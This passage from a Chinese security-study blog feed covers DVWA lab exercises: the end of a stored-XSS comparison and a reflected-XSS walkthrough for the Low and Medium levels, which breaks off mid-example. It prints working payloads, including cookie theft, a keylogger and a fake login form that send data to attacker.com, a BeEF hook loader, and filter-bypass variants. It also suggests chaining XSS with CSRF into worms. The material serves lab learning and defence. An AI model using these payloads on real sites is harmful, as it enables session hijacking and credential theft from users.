使用工具扫描XSS漏洞</li></ol><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>输入过滤</td><td>❌</td><td>strip_tags</td><td>strip_tags</td><td>htmlspecialchars</td></tr><tr><td>输出编码</td><td>❌</td><td>❌</td><td>❌</td><td>✅ htmlspecialchars</td></tr><tr><td>SQL防护</td><td>mysql_escape</td><td>mysqli_escape</td><td>mysqli_escape</td><td>PDO预编译</td></tr><tr><td>CSRF防护</td><td>❌</td><td>❌</td><td>❌</td><td>✅ Token</td></tr><tr><td>持久化</td><td>✅</td><td>✅</td><td>✅</td><td>✅（但安全）</td></tr><tr><td>攻击难度</td><td>极易</td><td>较难</td><td>难</td><td>不可能</td></tr><tr><td>影响范围</td><td>所有用户</td><td>所有用户</td><td>所有用户</td><td>无影响</td></tr></tbody></table><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>攻击演示：</strong></p><ol><li><strong>Low难度</strong> - 直接注入<code>&lt;script&gt;alert(1)&lt;/script&gt;</code></li><li><strong>Medium难度</strong> - 尝试各种绕过（较难）</li><li><strong>High难度</strong> - 基本无法绕过strip_tags()</li><li><strong>Impossible难度</strong> - 完全安全</li></ol><p><strong>实战技巧：</strong></p><ul><li>存储型XSS影响所有用户，危害更大</li><li>优先测试管理员会访问的页面</li><li>可以结合CSRF进行自动化蠕虫攻击</li><li>使用BeEF可以完全控制受害者浏览器</li></ul><p><strong>防御重点：</strong></p><ul><li>输入输出都要编码</li><li>使用htmlspecialchars()而不是strip_tags()</li><li>设置HttpOnly Cookie</li><li>实施CSP策略</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不传播XSS蠕虫到真实网站</li><li>学习目的是保护用户安全</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;&quot;&gt;&lt;a href=&quot;#&quot; class=&quot;headerlink&quot; title=&quot;&quot;&gt;&lt;/a&gt;&lt;/h1&gt;&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a hr</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - XSS Reflected (反射型XSS) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/XSS_Reflected_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/XSS_Reflected_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.143Z</published>
    <updated>2025-11-20T15:25:46.471Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是反射型XSS（Reflected-Cross-Site-Scripting）？"><a href="#什么是反射型XSS（Reflected-Cross-Site-Scripting）？" class="headerlink" title="什么是反射型XSS（Reflected Cross-Site Scripting）？"></a>什么是反射型XSS（Reflected Cross-Site Scripting）？</h3><p>反射型XSS是一种客户端代码注入攻击，攻击者将恶意脚本注入到URL参数或表单中，服务器将这些恶意内容”反射”回页面并在浏览器中执行。</p><p><strong>攻击流程：</strong></p><ol><li>攻击者构造包含恶意脚本的URL</li><li>受害者点击恶意链接</li><li>服务器将恶意脚本反射到响应页面</li><li>浏览器执行恶意脚本</li></ol><p><strong>危害：</strong></p><ul><li>窃取Cookie和Session</li><li>钓鱼攻击</li><li>键盘记录</li><li>篡改页面内容</li><li>重定向到恶意网站</li><li>传播蠕虫</li></ul><p><strong>与存储型XSS的区别：</strong></p><ul><li>反射型：恶意代码在URL中，不存储在服务器</li><li>存储型：恶意代码存储在数据库，持久化攻击</li></ul><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完全未过滤的输入输出，直接执行用户脚本。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 声明HTTP响应头：字符集为UTF-8 ★★★</span></span><br><span class="line"><span class="comment">// header() - 发送原始HTTP头到客户端</span></span><br><span class="line"><span class="comment">// Content-Type - 指定内容类型</span></span><br><span class="line"><span class="comment">// text/html - HTML文档</span></span><br><span class="line"><span class="comment">// charset=utf-8 - 字符编码为UTF-8</span></span><br><span class="line"><span class="title function_ invoke__">header</span> (<span class="string">&quot;Content-Type: text/html;charset=utf-8&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否提交了表单</span></span><br><span class="line"><span class="comment">// isset() - 检查变量是否存在且非NULL</span></span><br><span class="line"><span class="comment">// $_GET[&#x27;name&#x27;] - 从URL参数获取name的值</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;name&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 危险操作：直接输出用户输入，无任何过滤！ ★★★</span></span><br><span class="line">    <span class="comment">// $_GET[ &#x27;name&#x27; ] - 获取用户输入的name参数</span></span><br><span class="line">    <span class="comment">// 例如：?name=&lt;script&gt;alert(1)&lt;/script&gt;</span></span><br><span class="line">    <span class="comment">// 问题：没有任何HTML编码、过滤或验证</span></span><br><span class="line">    <span class="comment">// 用户输入的任何内容都会直接插入HTML中执行</span></span><br><span class="line">    <span class="variable">$html</span> .= <span class="string">&#x27;&lt;pre&gt;Hello &#x27;</span> . <span class="variable">$_GET</span>[ <span class="string">&#x27;name&#x27;</span> ] . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>直接输出用户输入</strong> - 没有任何过滤</li><li><strong>无HTML编码</strong> - 特殊字符<code>&lt;&gt;</code>不转义</li><li><strong>无内容安全策略</strong> - 允许执行任意脚本</li><li><strong>无输入验证</strong> - 接受任何字符</li></ol><p><strong>攻击原理：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 正常输入 --&gt;</span></span><br><span class="line">?name=Alice</span><br><span class="line">输出：<span class="tag">&lt;<span class="name">pre</span>&gt;</span>Hello Alice<span class="tag">&lt;/<span class="name">pre</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- XSS攻击 --&gt;</span></span><br><span class="line">?name=<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">输出：<span class="tag">&lt;<span class="name">pre</span>&gt;</span>Hello <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span><span class="tag">&lt;/<span class="name">pre</span>&gt;</span></span><br><span class="line">结果：浏览器执行脚本，弹出XSS对话框</span><br></pre></td></tr></table></figure><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：基础测试"><a href="#步骤1：基础测试" class="headerlink" title="步骤1：基础测试"></a>步骤1：基础测试</h4><p><strong>测试1：简单弹窗</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 输入 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 完整URL --&gt;</span></span><br><span class="line">http://dvwa.local/dvwa/vulnerabilities/xss_r/?name=<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 结果 --&gt;</span></span><br><span class="line">页面弹出对话框显示&quot;XSS&quot;</span><br></pre></td></tr></table></figure><p><strong>测试2：大小写混淆</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 如果有简单过滤，尝试大小写 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ScRiPt</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">ScRiPt</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>测试3：其他标签</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- img标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- body标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- svg标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">svg</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤2：窃取Cookie"><a href="#步骤2：窃取Cookie" class="headerlink" title="步骤2：窃取Cookie"></a>步骤2：窃取Cookie</h4><p><strong>Payload：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 将Cookie发送到攻击者服务器</span></span></span><br><span class="line"><span class="language-javascript"><span class="variable language_">document</span>.<span class="property">location</span>=<span class="string">&#x27;http://attacker.com/steal.php?cookie=&#x27;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span>;</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 简化版 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript">location=<span class="string">&#x27;http://attacker.com/?c=&#x27;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 使用img标签（更隐蔽） --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;this.src=&#x27;http://attacker.com/?c=&#x27;+document.cookie&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>攻击者服务器（steal.php）：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// 接收并记录Cookie</span></span><br><span class="line"><span class="variable">$cookie</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;cookie&#x27;</span>];</span><br><span class="line"><span class="variable">$log</span> = <span class="title function_ invoke__">fopen</span>(<span class="string">&#x27;cookies.txt&#x27;</span>, <span class="string">&#x27;a&#x27;</span>);</span><br><span class="line"><span class="title function_ invoke__">fwrite</span>(<span class="variable">$log</span>, <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d H:i:s&#x27;</span>) . <span class="string">&#x27; - &#x27;</span> . <span class="variable">$cookie</span> . <span class="string">&quot;\n&quot;</span>);</span><br><span class="line"><span class="title function_ invoke__">fclose</span>(<span class="variable">$log</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤3：键盘记录"><a href="#步骤3：键盘记录" class="headerlink" title="步骤3：键盘记录"></a>步骤3：键盘记录</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 记录用户输入</span></span></span><br><span class="line"><span class="language-javascript"><span class="variable language_">document</span>.<span class="property">onkeypress</span> = <span class="keyword">function</span>(<span class="params">e</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="title function_">fetch</span>(<span class="string">&#x27;http://attacker.com/log.php?key=&#x27;</span> + e.<span class="property">key</span>);</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤4：钓鱼攻击"><a href="#步骤4：钓鱼攻击" class="headerlink" title="步骤4：钓鱼攻击"></a>步骤4：钓鱼攻击</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-handlebars"><span class="language-xml"></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">// 创建假登录表单</span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">document.body.innerHTML = `</span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars"><span class="tag">&lt;<span class="name">div</span> <span class="attr">style</span>=<span class="string">&quot;position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;&quot;</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">    <span class="tag">&lt;<span class="name">h1</span>&gt;</span>Session Expired<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">    <span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">&quot;http://attacker.com/phish.php&quot;</span> <span class="attr">method</span>=<span class="string">&quot;POST&quot;</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">        Username: <span class="tag">&lt;<span class="name">input</span> <span class="attr">name</span>=<span class="string">&quot;user&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">        Password: <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;password&quot;</span> <span class="attr">name</span>=<span class="string">&quot;pass&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">br</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">        <span class="tag">&lt;<span class="name">button</span>&gt;</span>Login<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">    <span class="tag">&lt;/<span class="name">form</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars">`;</span></span></span><br><span class="line"><span class="language-xml"><span class="language-handlebars"></span></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤5：BeEF挂钩"><a href="#步骤5：BeEF挂钩" class="headerlink" title="步骤5：BeEF挂钩"></a>步骤5：BeEF挂钩</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- BeEF（Browser Exploitation Framework）--&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;http://attacker.com:3000/hook.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 执行后，受害者浏览器会被BeEF控制 --&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤6：URL编码绕过"><a href="#步骤6：URL编码绕过" class="headerlink" title="步骤6：URL编码绕过"></a>步骤6：URL编码绕过</h4><p>如果链接被过滤，使用URL编码：</p><figure class="highlight xquery"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">原始：<span class="language-xml"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span></span><br><span class="line"></span><br><span class="line">URL编码：<span class="meta">%3Cscript</span><span class="meta">%3Ealert</span><span class="meta">%28</span><span class="meta">%27XSS</span><span class="meta">%27</span><span class="meta">%29</span><span class="meta">%3C</span><span class="meta">%2Fscript</span><span class="meta">%3E</span></span><br><span class="line"></span><br><span class="line">完整URL：</span><br><span class="line">http://dvwa.local/dvwa/vulnerabilities/xss_r/<span class="built_in">?name</span>=<span class="meta">%3Cscript</span><span class="meta">%3Ealert</span><span class="meta">%28</span><span class="meta">%27XSS</span><span class="meta">%27</span><span class="meta">%29</span><span class="meta">%3C</span><span class="meta">%2Fscript</span><span class="meta">%3E</span></span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>添加了简单的过滤，但可以绕过。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span> (<span class="string">&quot;Content-Type: text/html;charset=utf-8&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;name&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：使用str_replace()过滤&lt;script&gt;标签 ★★★</span></span><br><span class="line">    <span class="comment">// str_replace() - 字符串替换函数</span></span><br><span class="line">    <span class="comment">// 参数1：要查找的字符串（&lt;script&gt;）</span></span><br><span class="line">    <span class="comment">// 参数2：替换成的字符串（空字符串，即删除）</span></span><br><span class="line">    <span class="comment">// 参数3：被搜索的字符串（用户输入）</span></span><br><span class="line">    <span class="comment">// 返回值：替换后的字符串</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 问题：只过滤小写的&lt;script&gt;，不过滤其他标签</span></span><br><span class="line">    <span class="comment">// 只替换一次，可以双写绕过</span></span><br><span class="line">    <span class="variable">$name</span> = <span class="title function_ invoke__">str_replace</span>( <span class="string">&#x27;&lt;script&gt;&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="variable">$_GET</span>[ <span class="string">&#x27;name&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 输出（仍然没有HTML编码）</span></span><br><span class="line">    <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;Hello <span class="subst">&#123;$name&#125;</span>&lt;/pre&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>str_replace()过滤</strong> - 删除<code>&lt;script&gt;</code>标签</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>问题分析：</strong></p><ol><li><strong>只过滤<code>&lt;script&gt;</code></strong> - 不过滤其他标签（img, svg, body等）</li><li><strong>大小写敏感</strong> - 只过滤小写</li><li><strong>只替换一次</strong> - 可以双写绕过</li><li><strong>无全局过滤</strong> - 不过滤事件处理器</li></ol><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：大小写混淆"><a href="#方法1：大小写混淆" class="headerlink" title="方法1：大小写混淆"></a>方法1：大小写混淆</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 原始被过滤 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>  ✗</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 大小写混淆 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">Script</span>&gt;</span>  ✓</span><br><span class="line"><span class="tag">&lt;<span class="name">SCRIPT</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">SCRIPT</span>&gt;</span>  ✓</span><br><span class="line"><span class="tag">&lt;<span class="name">ScRiPt</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">ScRiPt</span>&gt;</span>  ✓</span><br></pre></td></tr></table></figure><h4 id="方法2：使用其他标签"><a href="#方法2：使用其他标签" class="headerlink" title="方法2：使用其他标签"></a>方法2：使用其他标签</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- img标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- svg标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">svg</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- body标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- iframe标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&quot;javascript:alert(&#x27;XSS&#x27;)&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- input标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">onfocus</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;) <span class="attr">autofocus</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- details标签 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">details</span> <span class="attr">open</span> <span class="attr">ontoggle</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法3：双写绕过"><a href="#方法3：双写绕过" class="headerlink" title="方法3：双写绕过"></a>方法3：双写绕过</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 原理：str_replace只替换一次 --&gt;</span></span><br><span class="line">&lt;scr<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript">ipt&gt;<span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)&lt;/scr</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>ipt&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 处理过程 --&gt;</span></span><br><span class="line">1. 原始：&lt;scr<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript">ipt&gt;<span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">2. 替换<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-handlebars"><span class="language-xml">为空：<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span></span></span><span class="tag">&lt;/<span 